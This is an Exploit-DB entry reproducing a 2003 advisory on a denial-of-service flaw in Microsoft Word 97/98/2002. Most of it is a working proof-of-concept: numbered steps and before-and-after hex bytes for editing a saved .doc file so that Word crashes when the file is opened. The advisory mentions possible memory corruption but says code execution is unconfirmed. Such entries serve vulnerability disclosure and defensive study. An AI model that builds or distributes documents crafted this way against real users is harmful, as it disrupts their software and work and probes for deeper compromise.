Microsoft Word 97/98/2002 Malformed Document Denial of Service Vulnerability

2003-10-03T00:00:00
ID EDB-ID:23216
Type exploitdb
Reporter Bahaa Naamneh
Modified 2003-10-03T00:00:00

Description

Microsoft Word 97/98/2002 Malformed Document Denial of Service Vulnerability. Dos exploit for windows platform

                                        
                                            source: http://www.securityfocus.com/bid/8761/info

It has been reported that Microsoft Word is prone to a vulnerability that may allow an attacker to crash the software. The problem occurs when an attacker modifies the memory structure of a Word document. If a user opens the malformed document, it would cause the software to crash. This could potentially allow for corruption of memory, resulting in a possibility of arbitrary code execution, though this has not been confirmed. 

1. Open Word.
2. Save .doc file.
3. Modify .doc file by using binary editor as follows:

these lines were taken from .doc file of Microsoft Word 2002(10.2627.3311):

00 00 00 00 00 a3 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 01
00 00 00 00 00 00 b4 01 00 00 20 00 00 00 9c 01 00 00 00 00 00 00 9c
01 00 00 00 00 00 00 9c 01 00 00 00 00 00 00 9c 01 00 00 00 00 00 00
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4. Change them as follows:

00 00 00 00 00 a3 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 01
00 00 62 62 62 62 b4 01 00 00 20 00 00 00 9c 01 00 00 00 00 00 00 9c
01 00 00 00 00 00 00 9c 01 00 00 00 00 00 00 9c 01 00 00 00 00 00 00
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5. Open modified .doc file.
6. Microsoft Word will crashes.